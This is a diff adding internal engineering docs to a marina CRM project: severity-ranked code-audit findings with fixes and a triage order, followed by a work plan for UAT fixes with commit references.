+| 3   | medium   | `sentTo` key bypasses audit masker — operator email stored plaintext in audit_logs.metadata | `client-hard-delete.service.ts:139,466` — `sent_to` doesn't contain 'email' substring. Fix: add 'sent_to' fragment, or rename to `sentToEmail`                                                                                  |
+| 4   | low      | S3Backend `presignUpload`/`presignDownload` lack `withTimeout` wrappers                     | `s3.ts:289-297` — every other method (put/get/head/delete) is wrapped; presigns aren't. TCP-blackhole stall risk                                                                                                                |
+| 5   | low      | `error_events.errorMessage` and `errorStack` stored without PII redaction                   | error-events.service.ts:143-145 — ORM errors embedding WHERE-clause values persist as PII                                                                                                                                       |
+| 6   | low      | `'auth'` fragment over-masks: `authorId`, `isAuthenticated`, etc.                           | `audit.ts:125` — `'auth'` is too broad; should be `'authorization'` or use prefix match                                                                                                                                         |
+| 7   | low      | RTBF `website_submissions` erasure only matches top-level JSONB `email` key                 | `client-hard-delete.service.ts:221-224` — nested email payloads (`payload.contact.email`) survive                                                                                                                               |
+| 8   | low      | `hardDeleteCode` rate limiter fails open + `Math.random()` 4-digit code                     | combined attack surface during Redis outage; switch to `crypto.randomInt()` regardless                                                                                                                                          |
+| 9   | info     | `bulkHardDeleteClients` emits no composite audit log for the bulk action itself             | forensic correlation requires grouping N rows by timestamp; one bulk-level log entry would fix it                                                                                                                               |
+| 10  | info     | `requestBulkHardDeleteCode` loads ALL port clients into memory for validation               | `client-hard-delete.service.ts:408-419` — should `WHERE id IN (args.clientIds)`                                                                                                                                                 |
+
+### B4 — Webhooks + auth + storage (15 findings: 1 high, 6 medium, 5 low, 3 info)
+
+| #   | Severity | Title                                                                                                   | Evidence                                                                                                                                                      |
+| --- | -------- | ------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **high** | better-auth rate limiter uses in-memory storage — multi-replica prod bypasses limits                    | `auth/index.ts:128-137` — N replicas multiplies attempt budget N×; documented as known. Swap to `storage: database`                                           |
+| 2   | medium   | DOCUMENT_SIGNED route-level dedup hash never matches stored events — every retry re-enters handler      | `webhooks/documenso/route.ts:173 vs documents.service.ts:1184` — raw-body SHA vs prefixed-form hash, never matches; dedup intent broken                       |
+| 3   | medium   | Concurrent SIGNED webhooks both see `wasAlreadySigned=false`, both dispatch cascade invites             | `documents.service.ts:1130-1131,1196-1208` — read outside tx; handleDocumentCompleted has correct SELECT FOR UPDATE pattern but handleRecipientSigned doesn't |
+| 4   | medium   | Rate limiter fails open on Redis outage — auth brute-force protection disabled                          | `rate-limit.ts:57-73` — intentional; consider fail-closed + admin-IP allowlist escape hatch                                                                   |
+| 5   | medium   | `callbackURL` forwarded to better-auth without origin validation in sign-in-by-identifier               | `auth/sign-in-by-identifier/route.ts:63-96` — potential open redirect post-auth                                                                               |
+| 6   | medium   | `originAllowed()` returns true when both Origin AND Referer absent — non-browser CSRF check bypassed    | `proxy.ts:118-136` — SameSite=Strict is the real gate but defense-in-depth has a hole                                                                         |
+| 7   | medium   | Legacy plaintext Documenso webhook secrets may persist in `system_settings` — no migration enforcement  | `port-config.ts:469-472` — ports that never rotated retain cleartext                                                                                          |
+| 8   | low      | Storage proxy token `p` port-binding field is optional — tokens without `p` skip cross-port enforcement | `filesystem.ts:184-188,95-111` — future callers that omit portSlug mint cross-port tokens                                                                     |
+| 9   | low      | Storage proxy PUT magic-byte check is application/pdf only — other content types accepted blind         | `api/storage/[token]/route.ts:222-225` — png/jpg/csv/zip not inspected                                                                                        |
+| 10  | low      | Dev HMAC fallback derives storage proxy secret from `BETTER_AUTH_SECRET` — shared key in dev            | `filesystem.ts:430-432` — prod rejects but dev exposed→internet could forge tokens with auth key                                                              |
+| 11  | low      | CSP policy has no `report-uri`/`report-to` — XSS probes blocked silently                                | `proxy.ts:16-37` — adding `/api/csp-report` would give early-warning                                                                                          |
+| 12  | low      | sign-in-by-identifier timing oracle: email-format skips DB; username-format always hits DB              | very low practical impact; doesn't reveal whether identifier exists                                                                                           |
+| 13  | info     | better-auth's built-in rate limiter doesn't add `Retry-After` on 429                                    | direct `/api/auth/sign-in/email` lacks RFC 6585 compliance; sign-in-by-identifier wrapper has it                                                              |
+| 14  | info     | Session cookie lacks `__Host-` prefix — subdomain binding not enforced                                  | `auth/index.ts:106` — SameSite=Strict+Secure mitigate; `__Host-` would forbid Path other than `/`                                                             |
+| 15  | info     | `listDocumensoWebhookSecrets()` issues full DB SELECT on every webhook with no cache                    | `port-config.ts:456-501` — amplifies bad-secret flood scenario; short TTL cache fixes                                                                         |
+
+### C1 — EOI/Documenso services (15 findings: 3 high, 5 medium, 4 low, 3 info)
+
+| #   | Severity | Title                                                                                                                                     | Evidence                                                                                                                                                                                 |
+| --- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
+| 1   | **high** | `generateAndSignViaInApp` omits `portId` on all Documenso calls — per-port v1/v2 config bypassed                                          | `document-templates.ts:705,717` — portId optional → env fallback; v2-configured port uses v1 env defaults                                                                                |
+| 2   | **high** | custom-document-upload: `placeFields` called AFTER `documensoSend` — v2 envelope already PENDING when fields placed                       | `custom-document-upload.service.ts:285,294,323` — header comment documents correct order; code inverts. v2 may reject; all v2 contract/reservation uploads land with no signature fields |
+| 3   | **high** | `{{eoi.berthRange}}` and all `{{reservation.*}}` tokens in VALID_MERGE_TOKENS but resolveTemplate never populates them                    | merge-fields.ts:64-76 + document-templates.ts — tokens render as literal `{{...}}`; BR-140 doesn't catch because required:false                                                          |
+| 4   | medium   | `sendReminder` passes CRM document_signers.id (UUID) as Documenso recipient ID — v1 path sends invalid URL, v2 redistributes blindly      | `document-reminders.ts:161` + `documenso-client.ts:910` — v1 reminders consistently fail with 404; schema missing `documenso_recipient_id` column                                        |
+| 5   | medium   | `custom-document-upload` does not persist `documensoNumericId` — v2 webhook numeric-id resolution can't match                             | `custom-document-upload.service.ts:345` — contract/reservation uploads on v2 instance miss webhook events                                                                                |
+| 6   | medium   | `generateDocumentFromTemplate` v2: distribute failure swallowed — all signer rows get signingUrl=null with no auto-recovery               | `documenso-client.ts:554-560` + `document-templates.ts:843-884` — "Send invitation" button errors for every signer                                                                       |
+| 7   | medium   | `handleDocumentCompleted`: interest side-effects (dateEoiSigned, berth-rules) run outside try/catch and are not idempotent across retries | `documents.service.ts:1574-1621` — each failed-PDF retry re-stamps dateEoiSigned                                                                                                         |
+| 8   | medium   | `distributeEnvelopeV2` normalize call loses numericId — self-heal callers can't persist                                                   | `documenso-client.ts:618-623` — pattern from generateDocumentFromTemplate not followed                                                                                                   |
+| 9   | low      | `voidDocument` uses raw fetchWithTimeout without pRetry — transient 5xx/429 not retried                                                   | `documenso-client.ts:1289`                                                                                                                                                               |
+| 10  | low      | `completion_cc_emails` recipients have empty name — signing-completed email greeting malformed                                            | `documents.service.ts:1722` — "Dear ," fallback; should be email as display name                                                                                                         |
+| 11  | low      | `normalizeSignerRole` maps developer slot (order-2 SIGNER) to 'signer' not 'developer' — progress panel label wrong                       | `document-templates.ts:863-865,930-935`                                                                                                                                                  |
+| 12  | low      | `persistDocumentOverrides` source_document_id backfill uses 1-minute window — race if generation takes >60s                               | `eoi-overrides.service.ts:451,463,471` — widen to 5min or backfill by returned IDs                                                                                                       |
+| 13  | info     | `resolveTemplate` ValidationError catch regex includes dead branch 'interest has no (yacht                                                | berth)'                                                                                                                                                                                  | `document-templates.ts:317-322` — dead from prior design; remove for clarity |
+| 14  | info     | berth-range: non-canonical (passthrough) moorings always appended after sorted canonical segments                                         | `berth-range.ts:105-108` — cosmetic                                                                                                                                                      |
+| 15  | info     | `{{interest.notes}}` always empty in non-EOI (legacy) resolveTemplate path                                                                | `document-templates.ts:378` — silent blank in correspondence templates                                                                                                                   |
+
+### C2 — Domain services (15 findings: 1 high, 3 medium, 6 low, 5 info)
+
+| #   | Severity | Title                                                                                                      | Evidence                                                                                                                                                                                                                                                   |
+| --- | -------- | ---------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **high** | Recommender: SQL vs JS stage-scale mismatch — Tier D fires one stage too early                             | `berth-recommender.service.ts:212,499-502,223,554` — JS LATE_STAGE_THRESHOLD=5 (deposit_paid in JS scale) vs SQL emits 5=reservation. Tier D fires at reservation, not deposit_paid. Berths with reservation-stage active interest hidden one stage early. |
+| 2   | medium   | `createNotification` dedup is non-atomic SELECT-then-INSERT with no DB unique constraint (TOCTOU)          | `notifications.service.ts:67-85,117` — concurrent inquiry fan-out can double-insert. Fix: partial unique on `(userId, type, dedupeKey)` + ON CONFLICT DO NOTHING                                                                                           |
+| 3   | medium   | `completeReminder` TOCTOU — concurrent calls both pass status guard, produce dup audit rows                | `reminders.service.ts:317-332` — no `WHERE status='pending'` in UPDATE; no advisory lock                                                                                                                                                                   |
+| 4   | medium   | `processFollowUpReminders` lacks advisory lock — concurrent workers double-insert auto-generated reminders | `reminders.service.ts:428-517` — 3 non-tx round-trips; `processOverdueReminders` has the right pattern, this one doesn't                                                                                                                                   |
+| 5   | low      | `createNotification` with inApp=false + email=true silently drops the email                                | `notifications.service.ts:107-113` — acknowledged in comment but untracked gap                                                                                                                                                                             |
+| 6   | low      | `public-interest` creates interest with legacy `pipelineStage='open'` instead of `'enquiry'`               | `public-interest.service.ts:233` — modern stage is `enquiry`; column default agrees                                                                                                                                                                        |
+| 7   | low      | `public-interest` berth lookup outside transaction — FK violation on race-deleted berth                    | `public-interest.service.ts:79-87,237-244`                                                                                                                                                                                                                 |
+| 8   | low      | `public-interest` no yacht dedup — re-submissions create duplicate yacht records                           | `public-interest.service.ts:177-203` — client + company dedup'd; yacht isn't                                                                                                                                                                               |
+| 9   | low      | `inquiry-notifications.findUsersWithInterestsPermission` has no deactivated-user filter                    | `inquiry-notifications.service.ts:149-168` — deactivated users still receive new_registration alerts                                                                                                                                                       |
+| 10  | low      | Rules engine suggest-mode unconditionally calls `createAuditLog` — audit flood on webhook retries          | `berth-rules-engine.ts:102-117,201-207`                                                                                                                                                                                                                    |
+| 11  | low      | interest-berths cross-port guard silently passes when interestId doesn't exist                             | `interest-berths.service.ts:232-244` — should throw NotFoundError explicitly                                                                                                                                                                               |
+| 12  | info     | `processOverdueReminders` un-snooze + claim are two non-tx UPDATEs — survivable, no fix required           | at-least-once semantics                                                                                                                                                                                                                                    |
+| 13  | info     | Dynamic import in `removeInterestBerth` is still required (cycle break)                                    | `interest-berths.service.ts:356-361` — not stale                                                                                                                                                                                                           |
+| 14  | info     | Inconsistent `evaluateRule` import style — static vs dynamic across files                                  | maintenance hazard; documenting needed                                                                                                                                                                                                                     |
+| 15  | info     | `STAGE_ORDER.completed=6` in recommender JS is dead code — SQL CASE never emits 'completed'                | misleads maintainers                                                                                                                                                                                                                                       |
+
+### D1 — Jobs/queue/cron (8 findings: 3 critical, 1 high, 2 medium, 2 low)
+
+| #   | Severity     | Title                                                                                                    | Evidence                                                                                                                                                                                                                                                   |
+| --- | ------------ | -------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **CRITICAL** | `send-invoice` + `invoice-overdue-notify` dispatched to queues WITH NO WORKER HANDLER                    | `invoices.ts:597-600,740-743` — both fall to default branch, log "Unknown … job", complete successfully. **Every invoice send AND every overdue check is a silent no-op.**                                                                                 |
+| 2   | **CRITICAL** | 5 maintenance cron jobs scheduled but unimplemented — silent no-ops with false-green audit               | scheduler.ts: `calendar-sync`, `database-backup`, `backup-cleanup`, `session-cleanup`, `temp-file-cleanup` — workers/maintenance.ts has no case for any. **database-backup is the dangerous one.** RECURRING_JOB_NAMES contains them so audit shows green. |
+| 3   | **CRITICAL** | `tenure-expiry-check` scheduled, in RECURRING_JOB_NAMES, but has no handler and no service               | scheduler.ts:32 — daily 08:00 schedule; workers/notifications.ts no case; no `tenure-expiry` service exists                                                                                                                                                |
+| 4   | high         | `processDocumensoPoll` TOCTOU race — concurrent ticks can double-fire cascading invite email             | `jobs/processors/documenso-poll.ts:46-47` — wasAlreadySigned read outside tx; documents queue concurrency=3 with 5-min poll → overlapping ticks plausible                                                                                                  |
+| 5   | medium       | `documenso-void` enqueued without natural-key jobId at both archive call sites                           | `clients/[id]/archive/route.ts:95`, `clients/bulk/route.ts:180` — double-archive enqueues two void jobs; second hits already-voided envelope → spurious dead-letter                                                                                        |
+| 6   | medium       | `report-scheduler` `nextRunAt` UPDATE not transactional with job enqueue — crash silently drops a period | workers/reports.ts — 3 separate round-trips; crash between A and C skips the period                                                                                                                                                                        |
+| 7   | low          | `bounce-poll` absent from RECURRING_JOB_NAMES — no cron_run audit row on successful ticks                | audit-helpers.ts:27-49 — operators can't detect stalled poller via audit log                                                                                                                                                                               |
+| 8   | low          | maintenance queue concurrency=1 with HOL-blocking risk                                                   | analytics-refresh + bounce-poll can starve alerts-evaluate (every 5min) — split into fast/slow queues                                                                                                                                                      |
+
+### F2 — Performance (8 findings: 3 high, 5 medium)
+
+| #   | Severity | Title                                                                                                           | Evidence                                                                                                                                      |
+| --- | -------- | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **high** | `getClientById`: 6 independent DB queries run SEQUENTIALLY on hot client detail path                            | `clients.service.ts:358,363,368,374,392,415` — 7 serial round-trips per page load; should be `Promise.all([...6])` after gating client lookup |
+| 2   | **high** | `notification-digest`: nested port×user loops → O(ports × users) sequential queries + emails                    | `notification-digest.service.ts:71,74,109,113` — per port: 6+ queries; per user: 1 query + 1 send, all serial. Ports + users are independent  |
+| 3   | **high** | Missing index on `interests.reminder_enabled` — `processFollowUpReminders` full-scans active interests per port | `reminders.service.ts:432-441` — no existing index covers `(portId, reminderEnabled) WHERE archived_at IS NULL`                               |
+| 4   | medium   | `reconcileAlertsForPort`: N individual INSERTs + N UPDATEs per alert-engine evaluation                          | `alerts.service.ts:53-80,89-99` — batch INSERT ... ON CONFLICT DO NOTHING RETURNING; UPDATE WHERE id IN (...)                                 |
+| 5   | medium   | `client-archive-dossier`: N DB queries inside loop over `distinctBerthIds`                                      | `client-archive-dossier.service.ts:244,252` — single query WHERE berthId IN (...) + JS group                                                  |
+| 6   | medium   | `email_threads`: no compound `(portId, lastMessageAt)` index — list endpoint forces filesort                    | `email.ts:57` — only `idx_et_port` covers portId; sort step grows with thread volume                                                          |
+| 7   | medium   | `createPending` (berth-reservations): 3 independent tenant-validation lookups serial                            | `berth-reservations.service.ts:95,100,105` — berth/client/yacht should be `Promise.all`                                                       |
+| 8   | medium   | `webhook-dispatch`: sequential INSERT + BullMQ enqueue per matching webhook                                     | `webhook-dispatch.ts:47-75` — batch the inserts (RETURNING id), then Promise.all the queue.adds                                               |
+
+### A1 — Schema: people/orgs (audited inline; agent stuck) (12 findings: 1 high, 6 medium, 5 low)
+
+| #   | Severity | Title                                                                                                                                                     | Evidence                                                                                                                                                                   |
+| --- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **high** | `yachts.currentOwnerType`/`currentOwnerId` polymorphic — NO CHECK constraint on the type discriminator                                                    | `yachts.ts:44-45` — `currentOwnerType` is bare text; a value other than `'client'`/`'company'` silently corrupts ownership resolution downstream                           |
+| 2   | medium   | `clients.mergedIntoClientId` self-FK lives in migration 0042 only — `db:push` drift (same pattern as A3 #5)                                               | `clients.ts:53-58` — Drizzle's table builder doesn't accept self-references in column factory; constraint missing from db:push schema                                      |
+| 3   | medium   | `clients.sourceInquiryId` FK lives in migration 0065 only — `db:push` drift                                                                               | `clients.ts:33-38` — comment acknowledges the gap; fresh db:push skips it                                                                                                  |
+| 4   | medium   | `clientAddresses.label='Primary' default` + `isPrimary=true default` conflicts                                                                            | `clients.ts:250,258` — every new address is "primary" by default; partial unique `idx_ca_primary` then rejects the second. Either flip the default or fail less surprising |
+| 5   | medium   | No DB CHECK on `clients.preferredContactMethod` enum (email/phone/whatsapp)                                                                               | `clients.ts:27`                                                                                                                                                            |
+| 6   | medium   | No DB CHECK on `yachts.status` enum (active/retired/sold_away)                                                                                            | `yachts.ts:46`                                                                                                                                                             |
+| 7   | medium   | `companyMemberships.role` no DB CHECK on enum (director/officer/broker/representative/legal_counsel/employee/shareholder/other)                           | `companies.ts:65`                                                                                                                                                          |
+| 8   | low      | `clientNotes.authorId`, `yachtNotes.authorId`, `companyNotes.authorId` all bare text — no FK to user                                                      | `clients.ts:149`, `yachts.ts:107`, `companies.ts:126` — dangling on hard user delete                                                                                       |
+| 9   | low      | `clients.archivedBy` bare text — no FK to user; same dangling-on-delete pattern                                                                           | `clients.ts:41`                                                                                                                                                            |
+| 10  | low      | `clientTags.tagId`, `yachtTags.tagId`, `companyTags.tagId` — bare text, comment-only FK to tags                                                           | `clients.ts:165`, `yachts.ts:123`, `companies.ts:142` — same gap as A2 #7 for pipeline tables                                                                              |
+| 11  | low      | `yachtOwnershipHistory` has no DB-level guard that `startDate ≤ endDate`                                                                                  | `yachts.ts:83-84` — date inversion possible without CHECK                                                                                                                  |
+| 12  | low      | `yachts.lengthFt`/`lengthM`/`lengthUnit` denormalized triple — no DB-level invariant that lengthUnit aligns with which of (lengthFt, lengthM) is non-null | `yachts.ts:32-43` — service layer can write `lengthUnit='ft'` while `lengthFt=null`; produces broken display                                                               |
+
+### F1 — Cross-cut: security (audited inline; agent stuck) (4 findings: 1 medium, 3 low)
+
+The cross-cutting security audit is partly redundant with B1/B4/C3 findings already reported. Only NEW issues here:
+
+| #   | Severity | Title                                                                                                                                        | Evidence                                                                                                                                                                                                    |
+| --- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | medium   | `send-document-dialog.tsx` lines 248 + 274 use `dangerouslySetInnerHTML` for previewHtml — verify `renderEmailBody()` allowlist sanitization | `send-document-dialog.tsx:248,274` — flows from API; `renderEmailBody` documented escape-then-allowlist, but the dialog's preview path needs explicit audit to confirm no untrusted HTML leaks              |
+| 2   | low      | Many `findFirst` queries in services without explicit `port_id` filter — depends on FK chain                                                 | examples: `notes.service.ts:767`, `email-threads.service.ts:68,101,106,144,177,255` — defense-in-depth gap; FK joins enforce isolation but a direct call from a route bypassing service wrappers could leak |
+| 3   | low      | 136 raw `sql\`\`` template literals in services — manual review-worthy for SQLi                                                              | full sweep not done; spot-checks at known sites (berth-recommender, search) use parameterized `${}` interpolation via Drizzle                                                                               |
+| 4   | info     | Most other security surfaces already covered by B1/B4/C3 reports above                                                                       | see `cross-references`                                                                                                                                                                                      |
+
+### B3 — v1 entity CRUD (audited inline; agent stuck) (3 findings, structurally clean)
+
+Spot-check across 303 v1 route files: **structurally healthy.** Sample at `/api/v1/clients/route.ts` is exactly the documented pattern — `withAuth(withPermission(resource, action, async (req, ctx) => { try { parseBody/parseQuery + service call; return {data}; } catch (error) { return errorResponse(error); } }))`. No bare route handlers found.
+
+| #   | Severity | Title                                                                                                                                                         | Evidence                                                                                          |
+| --- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 1   | low      | `handlers.ts` sibling pattern means grep for missing withAuth needs to skip them                                                                              | not a finding per se, just a noting that the testability split documented in CLAUDE.md is honored |
+| 2   | low      | Pagination shape on `/api/v1/clients` returns `{data, pagination: {...}}` but list endpoints elsewhere return `{data, total, hasMore}` (CLAUDE.md convention) | `clients/route.ts:18-28` — minor shape drift; not breaking but lists aren't uniform               |
+| 3   | info     | Most B3 quality findings already covered by B1 (port validation), C2 (race + dedup), C3 (audit gaps)                                                          | this scope was already well-covered                                                               |
+
+### E1 — Admin UI (agent stuck; not audited)
+
+The admin-ui agent went idle 4 times across multiple pings. The most likely interpretation is that the surface is large enough that even Sonnet 1M's context was filled before a useful answer landed. **E1 should be re-spawned with a much narrower scope (one page at a time) or audited inline in a follow-up pass.**
+
+### E2 — Entity UI (agent stuck; not audited)
+
+Same pattern as E1. Entity-tab UI surface across 5 entity types is large; the agent didn't complete. **Re-spawn with narrower scope (one entity-detail page per agent) or defer.**
+
+---
+
+## Triage + recommended order of operations
+
+After 13 reported audits + 2 inline (A1, F1, B3 sketch), here are the items that should ship before the next deploy, grouped by impact and effort.
+
+### 🚨 Tier S — ship-stopping production bugs (do today)
+
+These are silently broken in production right now. Fix before any further work.
+
+| Source    | Item                                                                                                                                               | Effort                                                                                          |
+| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
+| **D1 #1** | `send-invoice` and `invoice-overdue-notify` BullMQ jobs have no handler → every invoice send is a no-op                                            | 1-2h: add the cases to workers/email.ts and workers/notifications.ts                            |
+| **D1 #2** | 5 maintenance cron jobs (calendar-sync, database-backup, backup-cleanup, session-cleanup, temp-file-cleanup) silently no-op with false-green audit | 2-3h each; **database-backup is the dangerous one** — implement or remove the schedule          |
+| **D1 #3** | `tenure-expiry-check` cron silently no-ops; service was never written                                                                              | 2-3h: write the service + handler                                                               |
+| **C3 #1** | A.7 RTBF gap: `gdpr_exports.storage_key` blobs NOT deleted on client hard-delete (this is a gap in code shipped today)                             | 30min: extend `client-hard-delete.service.ts` to collect gdprExports.storageKey alongside files |
+| **C3 #2** | No RTBF/hard-delete path for `residential_clients` — full PII shadow                                                                               | 4h: mirror the marina hard-delete service for residentialClients                                |
+| **B1 #1** | `/api/public/interests` does NOT validate caller-supplied `portId` against existing ports — cross-tenant data injection                            | 30min: copy the residential-inquiries pre-check                                                 |
+| **A3 #1** | `documents.documenso_id` has NO index — every webhook delivery is a full table scan                                                                | 30min: migration adding index                                                                   |
+
+### 🔴 Tier 1 — high severity, prioritize this week
+
+| Source             | Item                                                                                                                                | Effort                                                                  |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
+| **B4 #1**          | better-auth rate limiter is in-memory; multi-replica prod multiplies auth limits N×                                                 | 2h: switch to `storage: 'database'` after running its migration         |
+| **C1 #1**          | `generateAndSignViaInApp` omits portId on Documenso calls → v2-configured port silently uses v1 env defaults for every in-app EOI   | 30min: thread portId through 2 calls                                    |
+| **C1 #2**          | custom-document-upload calls `placeFields` AFTER `documensoSend` (wrong order) — v2 may reject placement on PENDING envelope        | 30min: reorder                                                          |
+| **C1 #3**          | `{{eoi.berthRange}}` + all 5 `{{reservation.*}}` tokens valid but unresolved — render as literal `{{...}}`                          | 2h: populate from EoiContext.eoiBerthRange + add reservation resolver   |
+| **C2 #1**          | Recommender SQL vs JS stage-scale mismatch — Tier D fires at reservation, not deposit_paid                                          | 30min: change LATE_STAGE_THRESHOLD=6 to match SQL scale                 |
+| **F2 #1-3**        | 3 high-impact perf: getClientById serial queries, notification-digest sequential loops, missing index on interests.reminder_enabled | 4h total                                                                |
+| **F3 #1-2**        | client-hard-delete has zero tests; no CI/CD pipeline                                                                                | 4h: integration tests for the RTBF flow; add `.github/workflows/ci.yml` |
+| **A2 #1-3, A1 #1** | Missing DB-level CHECK constraints on every enum-shaped text column                                                                 | 2h: one consolidated migration                                          |
+
+### 🟠 Tier 2 — medium severity (next sprint)
+
+Covers the bulk of remaining medium findings — too many to expand inline; see per-agent tables above. Highlights: drift between schema and migrations (A3 #4-5, A1 #2-3), idempotency gaps in webhook handlers (B4 #2-3, C1 #7, D1 #4), audit/IP/UA gaps in admin mutations (B2 #7-10), and the camelCase-key over-masking false-positive on `'auth'` fragment (C3 #6).
+
+### 🟡 Tier 3 — low severity (rolling)
+
+Index optimizations, validation tightening, schema metadata gaps, log cleanup. The detailed tables per agent above carry the per-item file:line evidence.
+
+### 📋 Tier 4 — re-spawn or inline-audit
+
+- E1 (admin UI) and E2 (entity UI) agents failed; the surface is too large for a single Sonnet 1M spawn. Re-spawn narrower (one page or one entity per agent), or audit inline in a follow-up.
+
+---
+
+## Total finding counts
+
+| Severity           | Count   |
+| ------------------ | ------- |
+| CRITICAL           | 5       |
+| high               | 15      |
+| medium             | 36      |
+| low                | 53      |
+| info               | 19      |
+| **Total findings** | **128** |
+
+Across **13 of 16 agent reports** + 3 inline (A1/F1/B3). E1 + E2 are missing; should be re-attempted later.

docs/superpowers/audits/2026-05-21-remaining-plan.md

@@ -0,0 +1,242 @@
+# Remaining UAT Master Doc — Work Plan
+
+> **STATUS (2026-05-21 23:55):** Groups A–T worked through end-to-end.
+> Group U (EOI bundle UX rework) explicitly deferred — see note at the
+> bottom. Per-group commits:
+>
+> - **A** `e33313b` + doc annotations `670ca16`
+> - **B** `7ecf4ee` + doc annotations `a0a4a5d`
+> - **C** `991e222`
+> - **D + E** `431375d`
+> - **F + G + H** `94c24a1`
+> - **I** `989cc4d`
+> - **J + K** `03a7521`
+> - **L** `65ff596`
+> - **M** `0ddaf46`
+> - **N** `a147cbc`
+> - **O** `a7cbee0`
+> - **P** `0ed03fc`
+> - **Q** `c14f80a`
+> - **R + T** `aa1f5d2`
+> - **U** parked
+>
+> Each commit message documents what shipped vs. what stayed parked.
+> Vitest 1454/1454 and tsc clean across every group.
+>
+> **Source:** `alpha-uat-master.md` (Bucket 1-4) as of commit `d879188`. Survey done 2026-05-21 after the PDF report exporter ship.
+>
+> **Status:** scaffold for sequential execution. Each item has a scope summary, file pointers (copied from the source entry where helpful), effort estimate, and explicit ordering notes (blocks-on / pairs-with). Items are grouped so logically-related work lands as one PR rather than scattered.
+
+## How to use this doc
+
+- Items are in **suggested execution order** (top → bottom). Order optimises for (a) unblocking other items, (b) low-cost-high-impact wins first, (c) defer-until-design large features to the end.
+- Each item is one of:
+  - **Q** — quick fix (< 30 min)
+  - **M** — medium (30 min – 2 h)
+  - **L** — large (2 h+)
+  - **DEFERRED** — captured but blocked / waiting on external decision
+- We work top to bottom. When an item lands, annotate it in `alpha-uat-master.md` with the SHIPPED-in-commit line AND tick it off here.
+
+---
+
+## Group A — Tiny copy / UI fixes — [SHIPPED in e33313b]
+
+All 12 items closed. 7 new ships + 5 verified pre-shipped (annotation gap in master doc).
+
+1. **[SHIPPED — e33313b]** Admin Documenso settings env-fallback pills — collapsed legacy SettingsFormCard blocks into RegistryDrivenForm sections (`documenso.behavior` + `documenso.templates`).
+2. **[SHIPPED — e33313b]** WatchersCard empty-state padding — `mb-3` → `mb-4 pb-1`.
+3. **[SHIPPED — 52342ee, verified]** EOI "Mark as signed without file" button — already in place.
+4. **[SHIPPED — e33313b]** /invoices/upload-receipts copy rewrite — ~50% body-copy reduction, terse luxury-CRM voice.
+5. **[SHIPPED — e33313b]** Pageviews X-axis ticks — `interval="preserveStartEnd"` + `minTickGap={52}`.
+6. **[SHIPPED earlier, verified]** Pageviews vs Sessions explainer — Info popover already in `website-analytics-shell.tsx`.
+7. **[SHIPPED — e33313b]** Inbox section order — docstring fixed; JSX already had Reminders before Alerts.
+8. **[SHIPPED earlier, verified]** BulkAddBerthsWizard CurrencySelect — already wired at apply-to-all + per-row.
+9. **[SHIPPED — e33313b]** CommandList scroll-cap — `max-h-[min(300px,var(--radix-popover-content-available-height,300px))]`.
+10. **[SHIPPED — e33313b]** DropdownMenu max-h cap — `max-h-[min(24rem,var(--radix-dropdown-menu-content-available-height,24rem))]`.
+11. **[SHIPPED — e33313b]** Residential InterestsTab whole-row navigate — `<tr onClick>` + first-cell Link stopPropagation.
+12. **[SHIPPED — e33313b]** StageStepper visible stage names — stage-name row below the bar; `size="xs"` hides labels.
+
+---
+
+## Group B — Interest detail polish (~2 h total)
+
+Surfaces all touch `interest-tabs.tsx` / `interest-overview` / linked-berths. Grouping keeps the diff focused on one entity.
+
+13. **[M] Inbox → Reminders: move filter row inline with the "New Reminder" button (embedded mode)** — _src/components/reminders/reminders-list.tsx_. Add an `embedded?: boolean` prop that consolidates the filter row + the New button into one row when set. ~45 min.
+14. **[M] Interest Overview Email + Phone rows: combobox picker across client's contacts + quick-add new contact** — _src/components/interests/interest-tabs.tsx_ + _src/components/clients/client-contacts-picker.tsx (new)_. The Email + Phone rows on the Overview currently show only the primary; reps want to pick any of the client's contacts and add new ones inline. ~1 h.
+15. **[M] Inline phone editor on the Contact row** — adjacent to #14; add `InlineEditableField variant="phone"` (or similar) using the country-code + national-number split. ~30 min.
+16. **[M] Client Overview should summarize current interest's requirements** — one-line "current interest needs L × W × D, source X" on the Client detail Overview tab. ~30 min.
+17. **[M] Notes Latest-note teaser missing round / stage context pill** — _src/components/interests/interest-tabs.tsx_ around the latest-note teaser. Pull the stage at the time of the note (from `audit_logs`) and render as a chip next to the timestamp. ~45 min.
+18. **[M] InterestBerthStatusBanner: name + link the competing deal** — _src/components/interests/interest-berth-status-banner.tsx_. Today says "this berth is also linked to another interest"; should name the client + link to the interest. ~30 min.
+19. **[M] Qualification auto-confirm "intent confirmed" once stage ≥ EOI (extend `computeAutoSatisfied`)** — _src/lib/services/qualification.service.ts_. Add the auto-confirm rule. Most of the work shipped earlier; this is the final tightening. ~30 min.
+
+**Commit shape:** one PR titled `feat(uat-batch): Interest detail polish (Group B — 7 items)`.
+
+---
+
+## Group C — Berth list features (~2.5 h)
+
+20. **[M] Berth list: hide "Rates (USD)" + "Pricing valid" columns by default (or remove)** — _src/components/berths/berth-columns.tsx_ + `BERTH_DEFAULT_HIDDEN`. Short-term rental fields irrelevant to purchase/long-term ports. Update default visibility; do not remove columns (other ports may still use them). ~10 min.
